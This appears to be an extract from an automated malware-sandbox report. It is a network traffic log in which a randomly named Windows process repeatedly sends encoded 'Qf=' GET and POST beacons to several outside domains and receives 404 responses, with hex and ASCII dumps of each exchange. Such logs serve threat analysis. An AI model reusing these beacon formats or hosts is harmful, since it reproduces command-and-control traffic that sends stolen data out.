Qf=yDukvta1p4O+6GkNPFOE7rGtRCcG2+nlAFOQZ6EdZRswvIb5Rb2G0ha5SxEo1tQ3QC2FTQTPujSXIwhlDY9+tq64VaoEXLQuZIcIVwSKtzEVe+vp179/pWe9gy6A5rZwjJsLHe83kcFvxgOcGCLDmrYdpECSEkMCEJZ6HHzx8bTNAgNC3tyNvdod2Dm+4TtFB2VO2TGUet/hh8z2lzkFTwvTAQD//JJd3KtkXIa4Fn5KSlIfCbs2YUTAbz+QNk8bmdmS+TK6gVDRtdsA8SMYISWaKrMu8A0m6jIfbIzTkCiJWPDZvinilqJAMjOesqTjubzYNxunUpEJXHY2CIKTHXAF0R4U1FZgUsEWq937kXH8ldVTXvQP6JhSKxKQKs6O3Q7KU4wlZ5/V5MsAfHopB7Z2j602slTJ9wF8OyyWxb4UfBBNjB9NrulM20edNp77Xm4D2etkXMwzmaQ/tE099onoSUSeGM+3k1Hrzkjc2i4JvaoOTHMf7i1UYOyoeQfgXlDpY+EsPyq0BKdEXgaGXRJ9xEPmOKssj/fJEu0dMOBxmx8RApNDHjZ2lr+GkhGTIOPv+kzvb8vbCZ9lFjZPlR6u+d/DT2YZITtLNq8cvJHrCtgK/dPR/v8p8gWBqvDl+BcVoVihWhuCVf3tmOGmYZrEx5T/Y/g4VIEnbybUEqPDTFHVttgyBDJSv2+zF5/n2GL3Qnk8GQqapr4xsPzAjH6ZPYw6vJxcTVRveuleqPk6spPu5dQ+Ckt86O2OJvezHtnO7F4SY4r21BYJ7HnOO0kQ8WhT5rOuJajWk+cV3I7RZkf/UkGtHO7MVZ/Gs/aRMnej2yPHUJ2hAjwfF+Ebc6kahQdht3n1VkFAoWW5TPV492OjoY6iKXvfSPsYc7m3QhN8/jWG8LOLayB/1i8yggdW6TiiFi004Ibdnvn1NWqiJd8/3lVxJ5o8n7yZ2ECu71EJiQfIUMjylDd9DN0BOvPKVLIvxei+UyNEJ3mO9XZCQYQyt [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	60414	84.32.84.32	80	2108	C:\Program Files (x86)\vBjzjTdsSeOouWafrRCkDNPlvwAhPbtvowiQsyouPajQjDnMJVmWSZElQtuKPtCJX\OhOEhutKIH.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 10:03:26.175683022 CET	510	OUT	GET /d2v9/?Qf=/BGEsYOqsJqqhDEhAmSoz7XGIyY1zd7NGknPEqdHfHUeoKSHXbOB1S++dlN9q4sVTmPSNjGXnx+XOSNFD4p+i9KPLpYeb7pWe4FqPAWe6yUVfuXBvfRCjBvjuTq8688V8g==&dfNhZ=LvKD HTTP/1.1 Host: www.pegji.online Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/537.36

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	60415	217.160.0.93	80	2108	C:\Program Files (x86)\vBjzjTdsSeOouWafrRCkDNPlvwAhPbtvowiQsyouPajQjDnMJVmWSZElQtuKPtCJX\OhOEhutKIH.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 10:03:31.246114969 CET	778	OUT	POST /etyp/ HTTP/1.1 Host: www.ambaolive.info Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.ambaolive.info Referer: http://www.ambaolive.info/etyp/ Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Connection: close Content-Length: 203 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/537.36 Data Raw: 51 66 3d 4f 70 57 41 38 68 36 73 76 34 61 6a 4a 43 4d 44 2b 47 73 31 5a 74 73 79 47 72 6e 76 33 71 6c 56 38 63 67 41 34 65 5a 66 41 30 4f 61 30 2b 68 45 58 72 6f 4b 41 6e 70 6a 53 63 30 51 69 35 30 55 7a 54 2b 75 30 6c 2b 58 76 77 2f 57 34 64 6f 44 70 4d 5a 46 6d 32 6b 46 38 54 6e 6f 6c 76 45 50 33 51 43 76 71 63 72 37 44 4e 35 63 59 64 41 62 42 78 68 6f 58 55 62 64 63 6c 57 75 39 55 62 77 71 43 47 4c 56 2f 34 45 46 76 78 56 78 34 69 47 51 4e 68 68 36 72 73 53 59 43 71 4d 75 38 49 37 64 54 70 57 73 49 53 70 56 78 69 64 71 6a 77 7a 7a 4d 51 41 45 5a 49 67 35 6e 4b 65 48 44 52 55 2b 45 51 58 6d 7a 38 3d Data Ascii: Qf=OpWA8h6sv4ajJCMD+Gs1ZtsyGrnv3qlV8cgA4eZfA0Oa0+hEXroKAnpjSc0Qi50UzT+u0l+Xvw/W4doDpMZFm2kF8TnolvEP3QCvqcr7DN5cYdAbBxhoXUbdclWu9UbwqCGLV/4EFvxVx4iGQNhh6rsSYCqMu8I7dTpWsISpVxidqjwzzMQAEZIg5nKeHDRU+EQXmz8=
Oct 29, 2024 10:03:32.094189882 CET	580	IN	HTTP/1.1 404 Not Found Content-Type: text/html Transfer-Encoding: chunked Connection: close Date: Tue, 29 Oct 2024 09:03:31 GMT Server: Apache Content-Encoding: gzip Data Raw: 31 38 39 0d 0a 1f 8b 08 00 00 00 00 00 00 03 7d 51 4b 4f e3 30 10 be f7 57 cc 7a 0f 9c 1c 37 94 43 9b 26 1c b6 ad b4 48 85 45 28 88 e5 68 62 b7 b1 e4 78 82 33 21 0d bf 1e 27 e5 b1 20 b4 27 8f ed ef 31 f3 4d fa 63 fd 67 95 df 5f 6f a0 a4 ca c2 f5 ed af ed c5 0a 18 17 e2 6e b6 12 62 9d af e1 ef ef fc 72 0b 71 34 85 dc 4b d7 18 32 e8 a4 15 62 73 c5 26 ac 24 aa 13 21 ba ae 8b ba 59 84 7e 2f f2 1b 71 18 b4 e2 81 fc 5a 72 fa 87 19 29 52 ec 7c 92 8e 86 56 ba 7d c6 b4 63 70 a8 6c f2 e9 e6 9a ec 1b f9 78 b1 58 1c 55 83 06 a4 a5 96 2a 9c 90 92 21 ab 87 0a 36 de a3 87 b3 e9 19 70 b8 42 82 1d b6 4e 0d 10 f1 8e 49 2b 4d 12 0a 74 a4 1d 65 8c f4 81 c4 d0 ce 12 8a 52 fa 46 53 d6 d2 8e cf 59 08 85 6a ae 1f 5b f3 94 b1 d5 11 ce f3 be d6 83 37 7c 51 71 c8 0b 59 94 fa 33 6b 7c e2 83 95 47 3b b6 2c 5e 7b 4e 1f 50 f5 d0 50 6f 75 c6 76 01 c0 77 b2 32 b6 4f a4 37 d2 2e 8f 16 65 fc 86 28 d0 a2 4f 7e 4e e5 ec 74 5e 2c 47 7c 63 9e 75 12 16 a3 ab 23 fa 3f a3 97 f1 d8 71 fd a6 f6 c1 9f 46 f3 77 fe 3d b6 1e 1e 3c 76 8d f6 50 48 [TRUNCATED] Data Ascii: 189}QKO0Wz7C&HE(hbx3!' '1Mcg_onbrq4K2bs&$!Y~/qZr)R\|V}cplxXU*!6pBNI+MteRFSYj[7\|QqY3k\|G;,^{NPPouvw2O7.e(O~Nt^,G\|cu#?qFw=<vPHw3Nmy2nzlB8`a1l`mur0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	60416	217.160.0.93	80	2108	C:\Program Files (x86)\vBjzjTdsSeOouWafrRCkDNPlvwAhPbtvowiQsyouPajQjDnMJVmWSZElQtuKPtCJX\OhOEhutKIH.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 10:03:33.789068937 CET	798	OUT	POST /etyp/ HTTP/1.1 Host: www.ambaolive.info Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.ambaolive.info Referer: http://www.ambaolive.info/etyp/ Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Connection: close Content-Length: 223 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/537.36 Data Raw: 51 66 3d 4f 70 57 41 38 68 36 73 76 34 61 6a 59 54 38 44 37 68 59 31 62 4e 73 78 4e 4c 6e 76 39 4b 6c 52 38 64 63 41 34 66 4e 50 41 43 65 61 31 65 78 45 47 66 38 4b 4f 48 70 6a 61 38 30 52 38 4a 30 66 7a 53 43 6d 30 6b 43 58 76 77 62 57 34 63 59 44 70 2f 42 61 70 47 6b 44 70 44 6e 6d 6f 50 45 50 33 51 43 76 71 64 50 52 44 4d 52 63 59 74 77 62 41 51 68 70 65 30 62 61 4b 31 57 75 35 55 61 37 71 43 48 59 56 36 52 6a 46 74 35 56 78 36 36 47 54 5a 31 69 76 62 73 55 57 69 72 6f 69 4f 55 2b 5a 78 68 6c 78 59 50 2b 4f 68 6d 2b 6d 31 64 5a 70 75 59 6f 58 35 6b 59 70 30 43 70 57 7a 77 39 6b 6e 41 6e 34 6b 6f 54 4d 4f 57 73 4c 41 66 74 77 4d 72 38 56 37 64 49 45 6c 5a 37 Data Ascii: Qf=OpWA8h6sv4ajYT8D7hY1bNsxNLnv9KlR8dcA4fNPACea1exEGf8KOHpja80R8J0fzSCm0kCXvwbW4cYDp/BapGkDpDnmoPEP3QCvqdPRDMRcYtwbAQhpe0baK1Wu5Ua7qCHYV6RjFt5Vx66GTZ1ivbsUWiroiOU+ZxhlxYP+Ohm+m1dZpuYoX5kYp0CpWzw9knAn4koTMOWsLAftwMr8V7dIElZ7
Oct 29, 2024 10:03:34.983146906 CET	580	IN	HTTP/1.1 404 Not Found Content-Type: text/html Transfer-Encoding: chunked Connection: close Date: Tue, 29 Oct 2024 09:03:34 GMT Server: Apache Content-Encoding: gzip Data Raw: 31 38 39 0d 0a 1f 8b 08 00 00 00 00 00 00 03 7d 51 4b 4f e3 30 10 be f7 57 cc 7a 0f 9c 1c 37 94 43 9b 26 1c b6 ad b4 48 85 45 28 88 e5 68 62 b7 b1 e4 78 82 33 21 0d bf 1e 27 e5 b1 20 b4 27 8f ed ef 31 f3 4d fa 63 fd 67 95 df 5f 6f a0 a4 ca c2 f5 ed af ed c5 0a 18 17 e2 6e b6 12 62 9d af e1 ef ef fc 72 0b 71 34 85 dc 4b d7 18 32 e8 a4 15 62 73 c5 26 ac 24 aa 13 21 ba ae 8b ba 59 84 7e 2f f2 1b 71 18 b4 e2 81 fc 5a 72 fa 87 19 29 52 ec 7c 92 8e 86 56 ba 7d c6 b4 63 70 a8 6c f2 e9 e6 9a ec 1b f9 78 b1 58 1c 55 83 06 a4 a5 96 2a 9c 90 92 21 ab 87 0a 36 de a3 87 b3 e9 19 70 b8 42 82 1d b6 4e 0d 10 f1 8e 49 2b 4d 12 0a 74 a4 1d 65 8c f4 81 c4 d0 ce 12 8a 52 fa 46 53 d6 d2 8e cf 59 08 85 6a ae 1f 5b f3 94 b1 d5 11 ce f3 be d6 83 37 7c 51 71 c8 0b 59 94 fa 33 6b 7c e2 83 95 47 3b b6 2c 5e 7b 4e 1f 50 f5 d0 50 6f 75 c6 76 01 c0 77 b2 32 b6 4f a4 37 d2 2e 8f 16 65 fc 86 28 d0 a2 4f 7e 4e e5 ec 74 5e 2c 47 7c 63 9e 75 12 16 a3 ab 23 fa 3f a3 97 f1 d8 71 fd a6 f6 c1 9f 46 f3 77 fe 3d b6 1e 1e 3c 76 8d f6 50 48 [TRUNCATED] Data Ascii: 189}QKO0Wz7C&HE(hbx3!' '1Mcg_onbrq4K2bs&$!Y~/qZr)R\|V}cplxXU*!6pBNI+MteRFSYj[7\|QqY3k\|G;,^{NPPouvw2O7.e(O~Nt^,G\|cu#?qFw=<vPHw3Nmy2nzlB8`a1l`mur0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	60417	217.160.0.93	80	2108	C:\Program Files (x86)\vBjzjTdsSeOouWafrRCkDNPlvwAhPbtvowiQsyouPajQjDnMJVmWSZElQtuKPtCJX\OhOEhutKIH.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 10:03:36.341983080 CET	1815	OUT	POST /etyp/ HTTP/1.1 Host: www.ambaolive.info Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.ambaolive.info Referer: http://www.ambaolive.info/etyp/ Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Connection: close Content-Length: 1239 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/537.36 Data Raw: 51 66 3d 4f 70 57 41 38 68 36 73 76 34 61 6a 59 54 38 44 37 68 59 31 62 4e 73 78 4e 4c 6e 76 39 4b 6c 52 38 64 63 41 34 66 4e 50 41 43 57 61 31 73 4a 45 58 49 41 4b 50 48 70 6a 55 63 30 63 38 4a 30 34 7a 54 71 63 30 6b 50 69 76 79 7a 57 36 36 73 44 67 71 74 61 79 57 6b 44 72 44 6e 72 6c 76 46 62 33 51 79 72 71 64 66 52 44 4d 52 63 59 72 38 62 57 78 68 70 59 30 62 64 63 6c 57 79 39 55 62 63 71 43 50 49 56 36 55 55 46 63 5a 56 6f 61 71 47 52 71 4e 69 74 37 73 57 47 79 72 77 69 4f 5a 75 5a 31 34 63 78 62 54 59 4f 6a 32 2b 6c 53 6b 39 74 50 34 34 49 61 6f 53 35 6c 53 75 58 7a 77 78 39 6c 49 50 39 46 5a 70 54 73 58 46 65 51 2f 36 35 66 57 4f 43 65 74 61 57 43 77 4f 64 65 58 6c 4b 4a 5a 31 73 69 37 34 35 66 59 48 31 7a 66 6d 41 56 70 56 33 41 47 70 6c 65 6e 51 38 45 6d 35 36 4e 6c 54 43 58 54 45 6b 71 57 41 4c 47 36 34 30 56 57 31 47 71 4c 76 4e 57 73 6d 66 35 46 39 4b 6b 4f 71 6b 64 44 63 4a 62 42 67 5a 35 30 34 79 35 46 48 59 7a 76 66 69 5a 4b 51 50 6a 4a 57 4b 45 66 76 38 5a 39 63 4e 7a 6d 35 30 51 6e [TRUNCATED] Data Ascii: Qf=OpWA8h6sv4ajYT8D7hY1bNsxNLnv9KlR8dcA4fNPACWa1sJEXIAKPHpjUc0c8J04zTqc0kPivyzW66sDgqtayWkDrDnrlvFb3QyrqdfRDMRcYr8bWxhpY0bdclWy9UbcqCPIV6UUFcZVoaqGRqNit7sWGyrwiOZuZ14cxbTYOj2+lSk9tP44IaoS5lSuXzwx9lIP9FZpTsXFeQ/65fWOCetaWCwOdeXlKJZ1si745fYH1zfmAVpV3AGplenQ8Em56NlTCXTEkqWALG640VW1GqLvNWsmf5F9KkOqkdDcJbBgZ504y5FHYzvfiZKQPjJWKEfv8Z9cNzm50Qnv0GmgMBNkeSimJFVKpH213QHVr/bLIFQ20XfqHWSrshZm3ekmWjNzdmqHA8IyEjka97pV6jID32p6Yr15KtCJ9ZG+xKQ4Y4P+RX36xKROnL14K3sqIDozCLEJMqjVoSfhgctKNRsHqtdsbuEJdnYpsZOtivb+whNMqR0Od2Hbukj2TrQW6uIj65q34VVw7XL1ps4G6YEsAeOGy3Gy+v/FY0DsqD/k/FpGC4UgICb0/nfkw5caa56jbGV87GGLOSp4EldFKsme7nSH0ScIpEg6f27pi1ZCOU3Lhx5F9lfC9OngZF8sIdToPG5eEWXSRn9r1ew5OqDj/UsxDl86ANBXHL5gnIGDFNSkPek8qd3D5MWVsOOdn6HuIf33OtGtMcymfgSGQwkuRw3YZWK7w7UUwVO2TX4fedH2JL5l1Dckeyn+wI4vMzOi8pda86Wbo/5wlOI1RVc5R53zMPYF9rGEsMXerY6sbTgL6Nf2lSJ5cdRWsj76JLugkzbglGA89uhKexLiqpQ36xXhuDBY2BeE3ZDNh0iwP0NNexYcXMh1b12LhDM/css0zaMAKwg/FXJAj+2H/IDK8k8PxFVz5adhHUdyYfVtLjNpDTpzaC3JVJGWWdQ/jWwiSXsNNI8vNC3ACRfAYPRRro29jRE40Hijxc/YGliriuHEG [TRUNCATED]
Oct 29, 2024 10:03:37.177351952 CET	580	IN	HTTP/1.1 404 Not Found Content-Type: text/html Transfer-Encoding: chunked Connection: close Date: Tue, 29 Oct 2024 09:03:37 GMT Server: Apache Content-Encoding: gzip Data Raw: 31 38 39 0d 0a 1f 8b 08 00 00 00 00 00 00 03 7d 51 4b 4f e3 30 10 be f7 57 cc 7a 0f 9c 1c 37 94 43 9b 26 1c b6 ad b4 48 85 45 28 88 e5 68 62 b7 b1 e4 78 82 33 21 0d bf 1e 27 e5 b1 20 b4 27 8f ed ef 31 f3 4d fa 63 fd 67 95 df 5f 6f a0 a4 ca c2 f5 ed af ed c5 0a 18 17 e2 6e b6 12 62 9d af e1 ef ef fc 72 0b 71 34 85 dc 4b d7 18 32 e8 a4 15 62 73 c5 26 ac 24 aa 13 21 ba ae 8b ba 59 84 7e 2f f2 1b 71 18 b4 e2 81 fc 5a 72 fa 87 19 29 52 ec 7c 92 8e 86 56 ba 7d c6 b4 63 70 a8 6c f2 e9 e6 9a ec 1b f9 78 b1 58 1c 55 83 06 a4 a5 96 2a 9c 90 92 21 ab 87 0a 36 de a3 87 b3 e9 19 70 b8 42 82 1d b6 4e 0d 10 f1 8e 49 2b 4d 12 0a 74 a4 1d 65 8c f4 81 c4 d0 ce 12 8a 52 fa 46 53 d6 d2 8e cf 59 08 85 6a ae 1f 5b f3 94 b1 d5 11 ce f3 be d6 83 37 7c 51 71 c8 0b 59 94 fa 33 6b 7c e2 83 95 47 3b b6 2c 5e 7b 4e 1f 50 f5 d0 50 6f 75 c6 76 01 c0 77 b2 32 b6 4f a4 37 d2 2e 8f 16 65 fc 86 28 d0 a2 4f 7e 4e e5 ec 74 5e 2c 47 7c 63 9e 75 12 16 a3 ab 23 fa 3f a3 97 f1 d8 71 fd a6 f6 c1 9f 46 f3 77 fe 3d b6 1e 1e 3c 76 8d f6 50 48 [TRUNCATED] Data Ascii: 189}QKO0Wz7C&HE(hbx3!' '1Mcg_onbrq4K2bs&$!Y~/qZr)R\|V}cplxXU*!6pBNI+MteRFSYj[7\|QqY3k\|G;,^{NPPouvw2O7.e(O~Nt^,G\|cu#?qFw=<vPHw3Nmy2nzlB8`a1l`mur0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.5	60418	217.160.0.93	80	2108	C:\Program Files (x86)\vBjzjTdsSeOouWafrRCkDNPlvwAhPbtvowiQsyouPajQjDnMJVmWSZElQtuKPtCJX\OhOEhutKIH.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 10:03:38.890851021 CET	512	OUT	GET /etyp/?Qf=Dr+g/XG6jtOqCn8/zR8nTbl4ceO03c9kwfdN6eE3C0ioydwbN70LOWdod/pg9bEI1Vuk9miEvgn19d41gPN4rlUX9RrdntYT0gmajM7aDOhndskJXTQ3TCDQE0m22le06w==&dfNhZ=LvKD HTTP/1.1 Host: www.ambaolive.info Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/537.36
Oct 29, 2024 10:03:39.895999908 CET	770	IN	HTTP/1.1 404 Not Found Content-Type: text/html Content-Length: 626 Connection: close Date: Tue, 29 Oct 2024 09:03:39 GMT Server: Apache Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 0a 20 20 20 45 72 72 6f 72 20 34 30 34 20 2d 20 4e 6f 74 20 66 6f 75 6e 64 0a 20 20 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 3e 0a 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN""http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html lang="en" xml:lang="en" xmlns="http://www.w3.org/1999/xhtml"> <head> <title> Error 404 - Not found </title> <meta content="text/html; charset=utf-8" http-equiv="Content-Type"> <meta content="no-cache" http-equiv="cache-control"> </head> <body style="font-family:arial;"> <h1 style="color:#0a328c;font-size:1.0em;"> Error 404 - Not found </h1> <p style="font-size:0.8em;"> Your browser can't find the document corresponding to the URL you typed in. </p> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.5	60419	3.33.130.190	80	2108	C:\Program Files (x86)\vBjzjTdsSeOouWafrRCkDNPlvwAhPbtvowiQsyouPajQjDnMJVmWSZElQtuKPtCJX\OhOEhutKIH.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 10:03:45.004371881 CET	790	OUT	POST /v4bm/ HTTP/1.1 Host: www.cablecarrental.net Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.cablecarrental.net Referer: http://www.cablecarrental.net/v4bm/ Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Connection: close Content-Length: 203 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/537.36 Data Raw: 51 66 3d 5a 70 4b 71 42 62 45 65 6a 58 78 74 39 46 6a 75 55 47 34 74 55 35 6a 54 37 63 6d 42 30 35 76 33 76 57 59 6a 74 77 69 70 34 62 47 62 48 68 43 7a 31 58 35 35 58 36 35 48 73 37 55 41 57 38 65 4c 48 45 33 53 45 56 79 58 37 46 59 57 65 62 7a 56 73 4b 6b 70 57 4c 48 57 30 6b 59 38 48 45 53 34 39 43 71 52 72 46 79 75 45 79 78 2b 55 39 33 51 45 43 73 52 72 58 31 46 6d 74 35 47 61 62 30 77 72 7a 43 6f 4f 75 59 41 67 59 45 6b 78 42 70 4a 67 43 63 77 53 65 68 43 6a 52 41 33 45 45 4f 46 65 31 68 63 64 37 77 47 61 6a 78 43 45 6b 30 6d 43 63 39 30 69 44 6f 4d 38 73 67 69 59 42 6b 62 36 30 38 57 72 37 41 3d Data Ascii: Qf=ZpKqBbEejXxt9FjuUG4tU5jT7cmB05v3vWYjtwip4bGbHhCz1X55X65Hs7UAW8eLHE3SEVyX7FYWebzVsKkpWLHW0kY8HES49CqRrFyuEyx+U93QECsRrX1Fmt5Gab0wrzCoOuYAgYEkxBpJgCcwSehCjRA3EEOFe1hcd7wGajxCEk0mCc90iDoM8sgiYBkb608Wr7A=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.5	60420	3.33.130.190	80	2108	C:\Program Files (x86)\vBjzjTdsSeOouWafrRCkDNPlvwAhPbtvowiQsyouPajQjDnMJVmWSZElQtuKPtCJX\OhOEhutKIH.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 10:03:47.554487944 CET	810	OUT	POST /v4bm/ HTTP/1.1 Host: www.cablecarrental.net Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.cablecarrental.net Referer: http://www.cablecarrental.net/v4bm/ Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Connection: close Content-Length: 223 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/537.36 Data Raw: 51 66 3d 5a 70 4b 71 42 62 45 65 6a 58 78 74 39 6c 54 75 53 6c 51 74 53 5a 6a 63 6e 4d 6d 42 2f 5a 76 72 76 58 6b 6a 74 31 50 73 34 70 79 62 65 45 75 7a 30 57 35 35 51 36 35 48 31 4c 56 4c 53 38 65 36 48 45 36 79 45 56 2b 58 37 46 4d 57 65 5a 37 56 73 62 6b 75 4d 37 48 55 68 30 59 36 4a 6b 53 34 39 43 71 52 72 46 4f 45 45 32 64 2b 55 4d 48 51 48 6d 59 51 69 33 31 45 6c 74 35 47 65 62 30 30 72 7a 43 4f 4f 72 35 6c 67 61 4d 6b 78 44 68 4a 68 58 6f 7a 59 65 68 45 38 42 42 46 48 57 66 31 47 55 74 71 53 74 39 5a 44 67 4e 46 49 79 5a 4d 59 2b 31 63 78 6a 45 30 73 2f 6f 56 4a 78 46 79 67 58 73 6d 31 73 57 56 53 77 61 38 30 54 36 4f 6e 34 33 64 44 54 48 69 50 4d 4b 79 Data Ascii: Qf=ZpKqBbEejXxt9lTuSlQtSZjcnMmB/ZvrvXkjt1Ps4pybeEuz0W55Q65H1LVLS8e6HE6yEV+X7FMWeZ7VsbkuM7HUh0Y6JkS49CqRrFOEE2d+UMHQHmYQi31Elt5Geb00rzCOOr5lgaMkxDhJhXozYehE8BBFHWf1GUtqSt9ZDgNFIyZMY+1cxjE0s/oVJxFygXsm1sWVSwa80T6On43dDTHiPMKy

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.5	60421	3.33.130.190	80	2108	C:\Program Files (x86)\vBjzjTdsSeOouWafrRCkDNPlvwAhPbtvowiQsyouPajQjDnMJVmWSZElQtuKPtCJX\OhOEhutKIH.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 10:03:50.098754883 CET	1827	OUT	POST /v4bm/ HTTP/1.1 Host: www.cablecarrental.net Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.cablecarrental.net Referer: http://www.cablecarrental.net/v4bm/ Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Connection: close Content-Length: 1239 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/537.36 Data Raw: 51 66 3d 5a 70 4b 71 42 62 45 65 6a 58 78 74 39 6c 54 75 53 6c 51 74 53 5a 6a 63 6e 4d 6d 42 2f 5a 76 72 76 58 6b 6a 74 31 50 73 34 70 71 62 65 53 36 7a 30 31 52 35 52 36 35 48 71 37 55 4d 53 38 65 64 48 45 53 2b 45 56 69 74 37 47 30 57 45 38 33 56 37 35 4d 75 5a 72 48 55 6a 30 59 2f 48 45 53 58 39 43 36 64 72 42 75 45 45 32 64 2b 55 50 66 51 54 43 73 51 75 58 31 46 6d 74 35 61 61 62 30 63 72 7a 61 77 4f 72 4e 66 31 36 73 6b 77 6a 52 4a 69 6c 41 7a 65 4f 68 47 2f 42 42 64 48 57 54 71 47 55 78 63 53 74 68 2f 44 67 6c 46 4d 48 73 50 50 36 6c 49 6e 7a 45 55 6b 73 51 34 4f 6e 31 4d 6f 55 59 50 30 4b 47 71 56 78 4f 73 69 54 2b 4d 6c 71 6d 35 58 6b 33 53 65 4d 76 43 7a 71 78 52 41 36 58 6c 62 78 65 53 2f 52 70 38 55 4e 70 67 45 54 6a 7a 7a 64 74 79 78 4e 6d 5a 4f 37 75 4d 37 44 68 6a 50 38 75 32 65 69 7a 58 4e 53 6e 43 54 4e 66 49 42 6a 37 77 70 46 65 71 64 50 4a 42 34 79 77 65 52 53 44 39 70 58 56 36 54 45 32 5a 77 75 69 59 64 43 30 5a 4e 59 2b 46 37 76 70 4a 63 31 68 59 33 4c 38 7a 5a 2f 56 58 37 48 65 [TRUNCATED] Data Ascii: 